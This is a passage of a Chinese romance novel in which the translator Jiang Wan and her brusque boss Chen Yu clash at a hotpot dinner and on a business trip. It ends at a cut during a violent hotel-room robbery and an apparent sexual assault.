她有点不好意思:“我一开始是不让他来的,都已经严厉拒绝了,可你也知道他这个人,就是听不明白话,一贯喜欢死缠烂打。”尤伽停下手上的动作,看着姜挽,“我知道你和他很长时间没见了,你要是实在觉得不舒服的话,我就不让他来了,反正我也还没给他发地址。” 她那个样子太认真,认真得都有些可爱了,姜挽忍不住笑了:“不用,在你眼里,我就是这么小气的人啊?” “当然不是了,我只是担心你。”尤伽连忙摇头。 “放心吧,没事的,陈屿我都能面对,更何况是孟云程呢?”茶香飘起来,姜挽端起来喝一口,“再说了,我和他确实也很多年没见了,说起来,我回北城,应该先主动请你们吃饭的。” “请什么呀,应该让他请,”她同意了,尤伽很高兴,边给孟云程发消息边开口,“一会儿他过来了,今天这顿也让他请。” 孟云程到的很快,挂了电话不过半个小时,他便出现了。只不过出乎姜挽和尤伽的意料,他不是一个人来的,身后还跟着一位西装革履的商务人士— — 陈屿。 这…… 姜挽和尤伽互相看了一眼,谁也没说话。 气氛陡然安静下来,也是心虚吧,孟云程主动出来解释:“那个我们路上碰到的,就一块儿过来了。” 其实不是。 半小时前,他正在车上,和陈屿在一起。陈屿出差刚回来,孟云程闲着也是闲着,就去接他了。当然,这个司机他也不是白当的,必须会使劲敲陈屿一顿。 有好吃的,他第一反应就是想到尤伽,哪知电话打过去,才知道她有约了。孟云程本来是不高兴的,可一听她是和姜挽在一起,便瞬间有了其他的想法。 好不容易软磨硬泡,尤伽答应了,他迫不及待就和陈屿说了这事儿,那小子果然和他想的一样,一点没犹豫,在听完后,甚至连衣服都不打算回家换,直接穿着工作的西装就和他来了。 这会儿,他们四个恰好站在门口,有人经过,玻璃门带起一阵穿堂风。 “还怪冷的,”孟云程趁机转移话题,“咱们就别在这儿站着了,既然都来了,就一起吃呗?走走,赶紧进去吧。” 说罢,他去看尤伽,尤伽也不能决定,又转头去看姜挽,姜挽瞬间被架在这,她也没什么说的:“当然没问题了。” 说话的间隙,她去看陈屿的左手,虎口的位置已经被包扎起来了,可透过创可贴,她似乎还能看到那道伤疤。 她收回视线:“只不过我们选的地方不是什么高档的餐厅,不知道你们能不能吃的惯。” “吃的惯,没什么吃不惯的。”孟云程立马接话。 “你当然吃的惯了,又没问你。”尤伽呛他。 孟云程反应过来,看了陈屿一眼:“他也吃的惯,放心吧。” 尤伽瞥他一眼,迈步朝里走:“今天这顿饭你请客。” 孟云程忙跟上去,笑着开口:“让陈屿请,他有钱。” 他们两个还是这样,和高中时一样喜欢斗嘴,吵吵闹闹的声音逐渐远离,就只剩姜挽和陈屿两个人了。 不知是有意还是无意,陈屿在她面前转了下手腕,那伤口的位置,姜挽看的就更清楚了:“你……” 陈屿抬眸看她。 对上他的眼神,她突然没勇气继续开口了:“你出差刚回来?” 陈屿垂下眼睫,迈步,进屋,和她擦身而过的刹那,很淡地回了一个“嗯”字。 因为陈屿和孟云程的加入,他们又新增了很多菜。菜是孟云程选的,酒也是他挑的,只要有他在的地方,话题就永远不会落地。不过大多时候都是他和尤伽在斗嘴,姜挽和陈屿充当默默聆听的角色。 室内温度高,没一会儿,孟云程和陈屿都打算把外套脱了。孟云程还好,动作很利索,但陈屿就麻烦了,因为手伤的缘故,他动起来有点费劲。 偏偏这个时候,孟云程又忙着和尤伽说话,没注意到他。又偏偏姜挽坐在他对面,两人同时都坐在外侧。于情于理,于公于私,她都应该主动搭把手。 “你手受伤了,”她先说客观原因,“要不我帮你吧?” 一向在她面前冷淡不耐烦的陈屿,这个时候倒是没反驳,甚至还主动站了起来,自己配合着开始解扣子。 姜挽也跟着站起来,安静在旁边等着。 不知道是不是因为他俩的动作太大,旁边刚才还在叽叽喳喳的孟云程和尤伽,瞬间也停了下来,同时朝他们看了过来。 “你怎么知道他手受伤了?”先开口的是孟云程,关注点一向很特别。 “他朋友……” 姜挽没多想,自然开口回他,可话刚说一半,突然被陈屿打断:“手上这么大一个创可贴,除了你,应该不会有第二个人没看到吧。” 虽然他回答的是事实,可速度太快,语气也有些急,听下来,姜挽总觉得哪里怪怪的。 仔细想想,她反应过来,只要是刚才陈屿的表现不像是在回答问题,反倒更像是在隐瞒什么。 “是吗?我看看。”孟云程顺势看一眼,“还真是,你这伤怎么弄的?” 本来伤也不重,只不过被陈屿刻意渲染了而已,他刚想再当着姜挽的面渲染一下,突然听到她手机响,下一秒便见她将手机拿了起来,匆匆丢下一句“抱歉,我接个电话”,就离开了。 擦肩而过的刹那,陈屿的手还停留在半空中,手里还拿着他刚脱下来的外套,口中还有他提前想好,打算渲染的措辞。 可不过一通电话,转瞬之间而已,这些就已经没有了意义。 是谁打来的电话?又要和她说什么?陈屿虽然不知道,但也能感觉到她对电话那头那个人的重视。 心烦,还有很多类似嫉妒的情绪在胸腔翻滚,他将外套随意丢在沙发上,也不管脏不脏,也不在乎是不是高级手工定制了。 “对了,你这伤到底怎么搞的?”孟云程没什么眼力见儿,仍然追问这个。 陈屿哪还有心思说这些:“没事,”对着他,他随意敷衍道,“考察项目的时候没注意。” “哦,那你以后可得注意点。”显然,孟云程对他这事也没什么兴趣,反而对姜挽刚才的匆匆离开比较在意,其实他也是替陈屿着想。 “你说姜挽什么事情这么着急啊,还要出去接电话,不会是她男朋友打来的吧?” 话音落,尤伽立马瞪他,小心瞥了一眼旁边的陈屿,压低声音道:“吃你的饭吧,一天天的就你话多。” 他们的对话,陈屿全程都没参与,表情冷淡,眼底看起来无波无澜,可任谁都能想象到,这平静下掩藏的风浪有多汹涌。 孟云程和尤伽不敢再随意开口了,两人边吃东西,边在心里期待着姜挽能赶紧回来。 此时正在门外接电话的姜挽,还不知道屋内发生的这些。电话是康复中心打来的,负责照顾她妈妈的护工反应说沈曼不肯吃饭,一定要和她通电话才吃。 姜挽在电话里劝了十几分钟,又答应过段时间就去看她,电话那头沈曼的情绪才逐渐稳定下来,这才答应好好配合吃饭。 挂了电话,姜挽深吸一口气,刚才接到电话,她的第一反应就是不敢让陈屿看见,所以才会那么着急出来。自尊也好,自卑也罢,这些事情,此刻的她确实还没想好该如何让他知道。 深秋,天上的星星很亮,姜挽迎着月色,跨过阴影,一把推开饭店门,踏了进去。 有些事情不敢想,也不能深想,一味地缅怀和抱怨没有任何作用,她要做的就是收拾好心情,带着沈曼一起,努力追寻更好的生活。 可等她回到座位的时候,却发现尤伽和孟云程并没有打闹了,桌上的气氛好像也发生了变化。 安静,沉默,甚至连飘起的白烟里似乎都升腾着一股子暗涌。 姜挽有些疑惑,恰巧看见旁边陈屿扔在沙发上的西装外套,她俯身要去拿:“我帮你挂起来吧。” “不用,”陈屿看都没看她,“你这么忙,这点小事怎么敢麻烦你。” 这也…… 太阴阳怪气,莫名其妙了。 姜挽有些想不明白,明明刚才还好好的,怎么回来就这样了?她尝试着再去和他沟通:“我还是帮你挂起来吧,方便点。” “我说了不用。”陈屿这次直接冷脸了。 “那好吧,随你。”姜挽没再强求,摊开手,坐回了自己的位置。 她其实没有生气,只是有点无奈。这段时间她和陈屿的相处模式一直如此,时间长了,她似乎都已经免疫了。毕竟他除了说话难听点,其他方面也没什么,还在关键时候帮了她。更别说他现在还受伤了,姜挽就更不会和他计较了。 后半段的气氛很微妙,一开始大家都没再说话,后来不知怎的,突然就开始喝酒了,先是陈屿,然后是孟云程,最后尤伽也加入了。 只不过三个人里,陈屿喝得最凶,看这架势,不像是在喝酒,反而更像是发泄。 趁孟云程和尤伽去调小料,姜挽好心提醒他:“你手上还有伤,最好还是不要喝太多了。” 话音落,先是静默,片刻,陈屿抬起头来,酒杯在他指尖转动,倒映着他淡漠的眼神:“你说这些是什么意思?” 姜挽一愣,虽然觉得她刚才那句话的意思很清楚,应该不会有歧义,可还是开口解释了一遍:“就是单纯的字面意思,喝太多酒对伤口恢复不好。” “所以是,关心我?”陈屿勾唇。 他虽然在笑,可姜挽却并没从那笑意中感觉到放松,反而是冷意,还有一股似有若无的愤怒。 “……对,对啊。” “你觉得你这样做合适吗?” 莫名其妙的一句,姜挽更不懂了,只不过她现在学会了,不懂的问题尽量不回答,反正他后面还会有很多话等着她。 果然,陈屿继续开口:“你就这么喜欢关心别人?这么爱管闲事吗?像你这种廉价的关心,还不知道给过多少人,我不需要。” 姜挽听不明白,她也想不明白,怎么刚才还好好的,一转眼就像是变了一个人,真不知道自己哪里又得罪他了。被陈屿搞得莫名其妙,她也有点烦:“好,那我不说就是了。” 哪知,她这句话一说,陈屿更怒了:“你这是什么语气?不屑?妥协?还是心虚?”一不小心,他失了分寸,“你就这么点耐心?两句话就受不了了?你对别人也是这样吗?对刚才电话里的人,对你在乎的人也是这样吗?” 姜挽不知道他是怎么扯到这些上面的,刚才那通电话是她的隐秘,电话里的人更是她没办法和他提起的。 隔着白烟,她局促地看着他,几番思想斗争,姜挽最终还是选择沉默。 可这沉默,此时看在陈屿眼里就相当于是默认了。满杯的酒,他端起来一仰而尽,杯子磕在桌面的清脆声和冷笑声一齐传来:“姜挽,你真行。” 尤伽和孟云程回来时,桌上只剩姜挽一个人,孟云程四下看了一圈:“陈屿呢?” “他说有事要忙,先回去了。”姜挽拿筷子夹着碗里的青菜,挑来挑去,就是没送进嘴里。 “他怎么回去?他刚才不是喝了酒吗?” 说着,孟云程就要掏出手机给陈屿打电话,姜挽拦下他:“他说叫代驾。”因为同样的问题,她刚才也问过陈屿了。不过回想他刚才的样子,应该本来是不想回答的,后面估计是嫌她烦,才敷衍地丢下这句。 “那行,那我就不担心了,”孟云程松一口气,回过神来,他反而开始安慰姜挽,“他确实是事情比较多,工作也比较忙。” 有些事情,作为旁观者,他没办法说太多:“他性格就这样,要是做了,或者说了什么让你不开心的话,你不要放在心上哈,多体谅体谅他,毕竟他……” 话说一半,孟云程意识到有些不妥,见姜挽和尤伽同时看着他,忙尴尬地换了句话:“毕竟咱们几个也认识这么多年了,都是老同学了,别的不敢说,交情还是有的。” 姜挽还没说什么呢,尤伽先不愿意了:“老同学又怎么样?凭什么每次都要女生受委屈?”筷子夹着毛肚,她跟着七上八下地晃动,“以后这种话你少说,要体谅也是男生多体谅,没有女生受委屈的。” 眼见着这把火马上就要烧到自己身上,孟云程也不敢再说太多,忙开了冰镇的啤酒给尤伽递过去:“对,对,你说的都对。” 后面,他们三个也没再待多久,不到九点,便打算从火锅店撤了。到前台结账才发现,陈屿离开时已经结过了。孟云程忍不住调侃:“这小子,真够义气的。” 因为孟云程和尤伽喝多了,三人便叫了一辆车,先送他俩,姜挽是最后一个。 回家的路上,姜挽脑子里不断闪回着陈屿刚才说的那些话。原因她不是很清楚,而且听起来也像是没什么逻辑,但有一件事姜挽确定,那就是,他肯定是不喜欢她的。 因为不喜欢,才会不耐烦,阴晴不定,时常因为一点小事就生气。 到家后,隔着房门听到屋内有交谈声,是她的另外两个室友,见姜挽进屋,客气地打了招呼。姜挽也就应一声,随即回了卧室。 她思绪还沉浸在刚才的事上,陈屿这事儿吧,想多了郁闷,尤其还是在现在这种事情不由她掌控,短期内没办法解决的情况下。姜挽唯一期盼的,就是希望下周到公司后能少碰见他,这样她就不会惹到他,矛盾也就不会进一步激化了。 第63章 阴影 可越怕什么, 越来什么。 尼斯项目的周例会本来定在每周三,可周一早上刚进公司,周海便立即召集大家开会,说是有重要的工作要安排, 让大家先把手头的工作放一放。 等姜挽带着电脑赶到的时候, 周海已经在和其他几位同事沟通了, 从他们交谈的话语中, 姜挽了解到, 之所以如此紧急, 是因为工作安排是陈屿亲自下发的,而且还是在周六晚上。 周六晚上? 姜挽对这个时间很敏感,一下子反应过来, 那不刚好就是陈屿从火锅店离开之后? 周海他们还在继续, 逐渐听下来, 姜挽也慢慢了解到是下级供应商出了问题, 需要安排临时出差,紧急去供应商处解决。 GSC组织架构成熟, 部门职能划分清晰, 供应商的问题有专门的采购同事负责,所以这事儿, 其实和姜挽关系不大, 会议结束后她就打算离开了。 可没想到,刚迈步, 突然听到身后有人叫她:“Annie, 你先等一下。” 是周海,姜挽等着他和其他人安排完工作才过去:“周经理,什么事?” 周海开门见山:“下午的出差, 你一起去。” 姜挽疑惑:“刚才听您分析下来,这次主要是供应商的问题,采购同事会主导负责,我日常负责翻译,应该关系不大吧。” 之所以这样说,并非是她想要推脱,也不是她不服从工作安排,只是这件事情上她实在不理解,工作讲究方法和效率,清楚明白地干,要比糊里糊涂好很多。 周海显然也考虑到了这点,所以并没有反驳她:“对,你说的没错,不过你的这次出差是陈总亲自安排的。陈总对尼斯项目很重视,电话里也特别提到了翻译的重要性。考虑到这次是关键供应商出了问题,对项目影响很大,所以翻译部分肯定也会牵涉。你一起跟着去,也好第一时间做出调整。” 姜挽一直安静听着,觉得也有那么点道理,正打算同意,突然又听周海补充道:“对了,这次陈总也会一起跟着去。” “陈屿?”太过震惊,姜挽甚至都没意识到自己直接叫了陈屿的名字。 所以不仅他会去,他还特意交代周海把自己也带上? 她以为陈屿讨厌她,肯定是不想看见她的,可这…… 难道是什么新型的惩罚手段吗?现在都流行把讨厌的人放在眼前,当面打击批评? 周海没注意到她的异常,着急离开会议室,临走前交代姜挽:“你先回去收拾东西,然后再来公司,按我们刚才在会上说的,十二点大家准时从公司出发。” 即便有担忧,但工作的事情在姜挽这里一直都排在第一位的。她没耽误,快速回家收拾了东西,又按点返回了公司。 他们要去的供应商在宁城,距北城五百多公里,因为事发突然,又有陈屿随行,最终选择了开车的方式。 七座的豪华商务车,前排是司机和一位技术同事,陈屿和周海坐中间,姜挽则和其他两位采购同事坐在靠后三连座的位置。 在见到陈屿之前,原本她还有些担心因为上周六的事情,他会对她有意见,说不定会在大庭广众之下刺挠她两句。 可没想到,别说刺挠了,整个过程陈屿看到没看她一眼,全程只听周海汇报项目的事情,完全把她当陌生人。 虽有些不自在,姜挽却也暗暗松了一口气。 因为情况紧急,这次涉及的范围又实在太大,车子刚启动,周海便接通了会议,一路上,他们基本都在开会中度过。 一开始,姜挽还能跟上,可后来路况颠簸,加之又遇上好几次堵车之后,她便渐觉胃里阵阵隐痛,严重的时候,甚至说话都有点费劲。 因为离得近,最先发现她异常的,是旁边的采购同事:“Annie,你怎么了?身体不舒服吗?” 她声音不大,可在这密闭的空间里,还是瞬间就将其他人的注意力吸引了过来。 姜挽不习惯被这么多人注视着,也不想因为自己个人的事情耽误大家的进度,便将胃痛这事一笔带过了:“没事,可能是因为刚才路况颠簸,现在已经没事了。” 在座的,大家都只是同事,询问和关心当然会有,但也都十分知晓分寸。她都这样说了,其他人自然也就不会再继续追问,简单叮嘱了两句后,大家便打算再次回到会议。 可在这其中,偏偏就有人不按常理出牌:“不舒服就直说,GSC还没残忍到要压榨病人的地步。” 冷冽淡漠的声音,是陈屿。 他一开口,车内的气氛瞬间就安静下来了。 说这话时,他侧着脸,眼神和表情都看不清,只能从落着光线的锐利下颌角和不咸不淡的语气中,判断出他不怎么高兴。 一瞬间,好几双眼睛同时看向姜挽,除了刚才的关心外,此刻还多了另外一种不安的情绪,来自陈屿的气场压迫,来自对自己接下来处境的担忧。 姜挽也不好意思让其他同事跟着担惊受怕,想了想,还是开口:“胃有点不舒服。” “带药了吗?”这次开口的是周海,他和陈屿坐在一排,说话的时候将身体侧了过来。 “没有。”胃药不是她的常备药,这次出差走的又急,姜挽确实没想起来。 周海转而去问其他人:“你们有没有?” 得到的回答都是“没有”。 没办法了,当下又是这种情况,他只能和姜挽打商量:“你感觉怎么样?能忍吗?要不在附近找个药店先帮你买药?” “不用,没事的,我一会儿就好了。”姜挽想都没想便拒绝了,这次出差时间有多紧,她又不是不知道,更何况车上还有这么多人。 “那你……” 周海的话还没说完,突然斜刺里插进来一句,又是陈屿:“在附近找个药店停车,先处理完她的事儿再走。” 他开口,其他人自然不敢再有意见,可姜挽心里过意不去:“真的不用了,没事的,我忍忍就好了。” 陈屿半转过来,那张逆光的脸上眉头拧着,声音也沉了几分:“我不喜欢在同一件事情上重复。” 眼见着他马上就要发火了,周海连忙将话接了过去:“陈总说的对,身体是第一位的,GSC也一向都十分注重人文关怀,不在乎这一点时间的。”随即,他提醒司机,“麻烦在最近的药店停下。” 二十分钟后,车子在下一个服务区停下。 下车,买药,返回,姜挽以最快的速度回到车上。吃完药,果然缓解不少,当她拿出电脑,准备再次参加会议时,却被告知会议暂停了。 旁边同事小声和她解释:“陈总觉得累,就临时取消了在车上开会,说是等到了酒店再开,这下,你可以好好休息了。” 姜挽点点头,把刚拿出来的电脑重新放回了包里。隔着光影,她偷偷去看陈屿。炭黑西装,条纹领带,微闭着眼,看样子应该是在闭目养神。 到宁城的时候,天已经黑了。 酒店是周海提前订好的,五星级标准,有专门的会议室和自助晚餐供应。办完入住,考虑到大家休息的时间可能不一致,周海并未安排统一的吃饭时间,只告知一个小时后在会议室集合,其他时间可自行安排。 姜挽依照安排,拿了房卡回房间,收拾东西进行到一半,突然听到门外敲门声响起,她还以为是其他同事来约她一起了,忙去开门:“你们这么快……” 话说一半,突然顿住,因为此时站在门外的不是别人,而是陈屿。 西装外套已经被他换下来了,穿了一身休闲装。看惯了他平日里穿正装的样子,今天乍一看这种风格,姜挽还有些不适应。 不过尽管不适应,她也不得不承认,以陈屿的身高和气质,即便是这种基础的款式,穿在他身上也能体现出矜贵的气质。 “陈总。”姜挽先和他打招呼。 “你以为我是其他人?”陈屿淡淡瞥她一眼,语气依旧是不咸不淡的。 “嗯,我以为是其他同事,”姜挽没瞒他,“您有什么事儿吗?” “这里没有其他人。”陈屿没有直接回答她的问题,而是先说了这句,言下之意是她不用这么叫他。 “你胃疼是怎么回事儿?”他又补充道。 这问题,在车上的时候姜挽已经回答过一次了:“应该是受颠簸影响,不过吃过药,现在已经好了。” “你经常这样?” “没有,很少这样。”姜挽以为他是担心翻译,忙承诺,“您放心吧,我已经好了,不会影响工作的。” 陈屿垂眸俯视她:“我有问你工作吗?”说罢,把手上提着的东西递给她,“把这个喝了。” “这个是?”姜挽有点懵,指尖刚一碰上,就感觉到了热度。 “姜糖水,”陈屿的眼睛虽盯着她,可说出口的话却一如既往的冷淡,“GSC没有压榨员工的惯例,虽然你只是外派人员,但也不会被区别对待。” “这是您买的?” 陈屿挑眉,虽没开口,可那个表情已经很明显了,是觉得她想多了:“酒店前台送的。” “哦,”姜挽松一口气,“那我需要打个电话感谢她们吗?” “不用,”陈屿嫌她麻烦,“对了,一会儿的会议你也不用参加了。” “周经理……” “周海那边我会跟他说。” “翻译……” “翻译的工作可以往后排。” 一连两句,陈屿都将她打断了,他似乎也觉得有些过于急切了,在最后又补了一句:“我说过了,GSC没有压榨员工的习惯,更何况还是病人。我不想等合作结束后,听到的都是关于GSC的坏话。” “我不会的,”姜挽和他表态,“GSC很好。” 陈屿没应声,转身打算走。 也许是昏黄的灯光使人放松,也许是从下午到现在他一路都帮了她,姜挽看着他的背影,犹豫了下,还是开口:“谢谢。” 闻言,陈屿的脚步顿了一下,最终还是没说什么。 次日,他们一行人在周海的安排下,一早便来到了建筑承包商公司。GSC是甲方,又有陈屿这种级别的领导出现,对方自然诚惶诚恐,全程以最高礼仪陪同。 这次的主要问题是由于对方原材料计划的进度管理不当,导致整个项目有延期风险,所以针对这点的问题分析和纠正措施,对方整整花了一上午的时间来进行汇报。 从汇报看来还好,但具体的实施和效果,还需要结合实际情况进行分析。 吃完午饭,他们计划去项目现场,临走前,陈屿突然接到助理宋泽宇的电话,提醒他马上有管理层的会议需要参加。 这种会议一般都是提前很久订好的,不能临时改时间。所以周海提出他们先去,他这边会议结束后再过去。 陈屿虽有些犹豫,眼神几次落在姜挽身上又折回来,可最终还是没说什么。 一小时后,陈屿这边结束了管理层的会议,便马不停蹄地朝现场赶。项目现场那种地方他知道,机械,钢材,还有各种灰尘,一路他都在担心姜挽没办法适应。 但转念一想,好在她只是翻译,只需要把书面文字工作做好就够了,倒也不必多么近距离的实地接触。 在他的要求下,司机一路开得飞快,到的时候,他们正在进行现场勘测,一群戴着安全帽,穿着工作鞋的身影中,陈屿一眼就看见了姜挽。 此时的她离机械设备很近,周遭尘土飞扬,像正在俯身观察什么,一边看,一边在手中的笔记本上快速记录。 看到这一幕,陈屿的心瞬间提到了嗓子眼,虽然知道她离设备还有一段距离,也知道她已经做了防护措施,可亲眼看她暴露在危险下,心里还是难以抑制的焦躁。 “姜挽!”隔着人群,他叫了她一声。 他的突然出现,大家都没有意料到,纷纷过来和他打招呼,接着就要和他汇报进展。 陈屿摆摆手,让他们先等会儿,眼神依旧盯着姜挽:“你过来,我有问题要问你。” 大家都以为是翻译问题,姜挽也是这么认为的,所以也没多想,来到他身边,又跟着他进了会议室。 刚一进屋,陈屿就把门关上了,姜挽边脱安全帽,边问他:“怎么了?是翻译又出问题了吗?” 陈屿没理她这茬,刚才压了一肚子的火,这会儿终于有了宣泄点,开口很冲:“你刚才离机器那么近干嘛?谁让你离那么近的?” 姜挽眨眨眼,觉得莫名其妙,来项目现场不就是看这些的吗,所以她没说话,只定定看着他。 陈屿被她看得有些没底气,但一想到她刚才离危险那么近,且以后还可能继续发生这种情况时,心里的火就蹭的一下又往上冒:“你知道刚才有多危险吗?你一个翻译,做做文书工作,查查资料就够了,离机器那么近干嘛?犯得着吗?” 这次,姜挽开口了:“我虽然只是一个小小的翻译,但要想把工作做好,翻译达到高标准,也是需要探访项目现场,了解实际细节的。”她没生气,只是淡定地和他解释,“更何况,这次的出差您之所以让我一起跟着,不也就是为了这个目的吗?” “我那是……”陈屿调起得高,却没办法继续。 他想让她来不假,但绝不是让她来做这些的。他只是想让她在自己眼皮子底下,时刻都能看见她。虽然他也知道这种方法不地道,却是他如今能想到的唯一一个了。 “是什么?”他不说,姜挽便追问。 “没什么,”陈屿烦闷,他开不了口,正试图换个话题,眼神一闪,忽地瞥见她手背上一道浅浅的伤口,瞬间眸光紧缩:“你手怎么回事?” “啊,这个啊,没事,”姜挽有点躲他,迅速将手藏到了身后,“一点小伤,不碍事。” 陈屿最受不了她这样,拒绝他,推开他,不让他进入她的生活,让他像个傻瓜一样焦急地在门外失控,而她则是一如既往的淡定。 “别瞒我,你知道我的脾气,别逼我生气。” 姜挽觉得他今天真是奇怪,莫名其妙地把她叫过来,又莫名其妙地发一通火,现在又勒令她把私事告诉他,再好的脾气,也会觉得不舒服:“陈总,这好像是我的私事,我没有义务一定要和您解释清楚吧?” “私事”两个字,再次触到了陈屿的逆鳞,他冷笑:“你以为我想知道?不过是因为你现在还在GSC,出了问题的话,担心你赖在GSC头上。” 姜挽也没退步:“您放心,我不会的,这是我的私事,”她重复,而后抬眼看他,“我记得您之前说过,不喜欢别人多管闲事,那您现在这样又是在干什么呢?” 她用他之前说过的话来怼他,陈屿简直要被气到内伤:“你……”少见的,他语塞了。 正生气,突然有人敲门,陈屿猛地朝门外嚷一声:“什么事?” 外面安静了片刻,这才回答:“陈总,我们该去下一个现场了,不然时间来不及了。” 话音落,陈屿这边还没说什么,姜挽倒是先推门出去了。 门外是周海,陈屿能听到他和姜挽的聊天,约莫是些“陈总找你什么事”,“你们谈的怎么样”之类的问题。姜挽的回答他没听清,但听语气,应该还算平静。 陈屿叹一口气,沉默几秒后,也推开门,跟着出去了。 陈屿跟着他们参观。 他身边围着许多人,有讲解的,有带路的,还有担心他被现场设备碰到时刻提醒他小心的,可如此嘈杂的环境下,他却仿佛失聪了般,什么都听不进去,耳边反复循环的只有刚才和姜挽的那段对话。 他好像又惹她生气了,可这明明并不是他的初衷。 越过光影,隔着人群,他去看姜挽,她似乎完全没被影响,全程像没事人似的,依旧认真听其他人讨论,拿着本子不停记笔记。不过好一点的是,和刚才相比,她确实离机器设备远了不少。 “陈总,陈总……” 耳边有人在叫,陈屿收了视线:“什么事?” 他一冷脸,对方立马变得心惊胆战:“您觉得刚才的车间参观如何,要是没什么问题的话,我们是否可以换下一个地方了?” “去下一个地方吧。” 下午的行程安排得很满,除了参观,还有研讨和整改会议,因为他们需要在第一天把方案确定下来,往后几天正式开始实施,所以结束的时候,已经临近晚上十点了。 因为忙,晚饭吃的也比较简单,许是为了弥补这一缺憾,也或许是为了让自己没那么提心吊胆,离开时,供应商和他们提到了还有一些特殊的其他安排,问他们是否方便去。 此话一出,大家都愣住了,周海的第一反应是看陈屿,而陈屿的第一反应则是去看姜挽。 一扇大开的玻璃窗,一段漏进来的月光,姜挽也正抬头,月光下,两人视线相碰。 一个是尴尬,一个是心虚,随即一闪,很快分开。 “不用,”陈屿不耐,“把工作做好,其他乱七八糟的少来。” 供应商也是识眼色的人,见此,便当即找了个理由,把刚才那事圆滑地解释过去了,并承诺一定把问题整改好,让他们放心。 忙了一天,大家都很累,也没什么精力听他在这里说这些,随意应了两声,交代完明天的工作,便撤了。 宁城不大,也不如北城繁华,这个点路上行驶的车辆已经不多了,所以他们一行人回去也没用多久。到了酒店,大家都累得不行,互相寒暄了两句,便各自回了房间。 姜挽的房间靠近拐角,比其他几个人的都要远,花费的时间自然也比其他人要多,等她到门口的时候,他们已经进屋了。她掏出门卡正要开门,突然从暗影里跑出来一个身影,擦过她,朝楼梯口跑去了。 那人身量极高,衣着深黑打扮,头戴鸭舌帽,帽檐压得极低。姜挽只当他是这里的房客,因为赶时间才会如此着急,所以也就没多想。 进了屋,她先将外套脱下来,随即又进行了简单的收拾,这才把笔记本拿出来,开始这一天的工作总结。 正入神,床头的电话突然响,姜挽放下手头的工作伸了下懒腰。能打这个电话的,一般都是前台工作人员。 “您好,请问有什么事吗?” “姜小姐,我们这里是酒店前台,”姜挽猜得果然没错,“听说您手伤了,有人安排我们给您送创可贴,请问方便吗?” 手伤?创可贴? 知道这些的,只有陈屿一个,许是为了验证吧,姜挽开口:“请问是谁安排你们送的?” 对方倒是没隐瞒:“是和您一起入住的陈先生,请问您现在方便吗?” 姜挽想了想:“方便,麻烦你们送过来吧。” 挂了电话,姜挽回想起他下午说的那些话,所以,他是为了避免麻烦,担心影响GSC的声誉,才安排她们过来送的吗? 很快,前台便来了,接过创可贴,姜挽道谢,临关门前,她突然想起昨天的那杯姜糖水,觉得喝完之后胃里确实舒服不少,便顺势开口:“您好,请问前台的姜糖水我能不能再要一杯?” “姜糖水?”工作人员有些懵,显然是第一次听到这个要求,思索片刻,耐心解释,“姜小姐,我们前台是不供应姜糖水的,不过如果您需要的话,我现在可以去帮您买。” “那昨天……”话说一半,姜挽反应过来,应该也是陈屿的安排了,可为什么他却说是前台的呢?难道也和GSC的声誉有关? “姜小姐,请问您还需要吗?” “不用了,谢谢。” 虽然有些疑惑,但姜挽也没再深究,因为她实在太忙了,还有好多工作要做,稍一转身的功夫,便把这些抛出脑后,再次投入了她的翻译工作。 接下来几天,工作量很大,基本每一天都是早出晚归。这种情况一直持续到他们离开的前一晚,回到酒店的时候,已经到了夜里十一点。 大家都困恹恹的,实在提不起精神,确定好明天集合的时间后,便各自回了房间。 姜挽边打哈欠边开门,抬手将房卡插进卡槽,一下,没有反应,她以为是自己没操作好,便又试着插了一次,这次屋内的灯还是没亮,她才意识到是设备出故障了。 没意识到的时候还好,现在反应过来,独自面对漆黑一片,她便有些心慌。已经很多年,她没面对过这种突如其来的黑暗了,她原本还以为自己已经好了。 冷汗从脸颊滑落,有些头晕目眩,姜挽的身体开始发冷,她撑着门框,打算返回去找前台,可在转身的间隙,借着窗外的月光,却突然瞥见床头站在一道身影。 高个子,鸭舌帽,看不清脸。她还没来得及反应,那身影便迅速朝她冲了过来,几秒之内,伸手攫住她的喉咙,一把将她推靠在门上:“别出声,出声我杀了你!” 陌生的,沙哑狠戾的男人声音。 黑暗里,姜挽看不清他的面容,正因为看不清,她才更加害怕和恍惚。一瞬间,那段尘封已久的记忆如潮水般向她涌来,黑暗,恐惧,还有满地的药片和妈妈躺在地上的身影,她害怕,怕得连灵魂都颤抖了。 “说,钱在哪里?”男人推着她往床边走,一手抓住她的双手,一手攫住她的脖子。 姜挽反应过来,这是抢劫,入室抢劫! 她费力拍打他的手腕,随即又指了指自己的脖子,告诉他,她现在说不了话。 男人看懂了她的意思,但显然有顾虑,手劲儿不仅没松,反而加大:“少给我耍花招,你知道这房间的隔音,你就是叫破喉咙,也没人能听到!” 姜挽被他掐着,呼吸困难,费力地点点头,脖子上的力道这才松了些。她趁机想去揉一揉,却被男人怒吼:“钱呢!赶紧拿出来,别他妈地墨迹!” 两人力量悬殊,姜挽不敢激怒他,抬手指了指旁边的衣柜,那里面有一个抽屉,她习惯把贵重物品放在抽屉里,出门时再把抽屉锁上。 男人拖着她朝衣柜走去,胡乱一通翻找,果然发现抽屉上了锁,随即恶狠狠抓住她的头发:“钥匙给我!” 姜挽被迫仰着头,声音颤抖:“钥匙……在包里。” 包丢在门口的位置,刚才挣扎间脱落的,许是距离太远,也可能是男人心急,他松开姜挽,独自一人跑了过去。 趁着这个间隙,姜挽立马摸索口袋的手机,借着床头的遮挡,快速点开通讯录。明明有那么多选择,可以打给前台,也可以打给警察,可这个时候,她脑子里的第一反应却是陈屿,没有任何犹豫的,她按了拨号键。 眼前的男人很谨慎,翻找间不断回头,为了避免被他发现,姜挽很快便挂掉了电话。时间太短,她甚至都不知道有没有接通,就算接通了,也不知道他能不能明白自己的意思。 很快,男人找到了钥匙,在经过一番折腾后,顺利打开了抽屉,银行卡,现金,甚至还有零钱,他一个都没留下,呼呼啦啦的,其他的东西全部被他胡乱扔在地上。 可他似乎对这些钱并不满意,拿了之后也没走,而是再次返回姜挽身边:“你身上还有没有其他值钱的东西?拿出来!” 说着,他就要去搜身,挣扎间,他看清了姜挽的面容,当即便转变了注意,眼神里的东西都变了。 下一秒,姜挽猛地被扔到床上,眼睛被绑住,身上覆上来一个陌生的身体,黑暗里,她什么都看不见,那种窒息的感觉又来了。 恐惧,无助,彷徨,让她仿佛再次回到了那一天,她什么也顾不得了,只知道大声尖叫。哭喊着,祈求着,希望有一个人能出现,来救救她,救救她的妈妈。 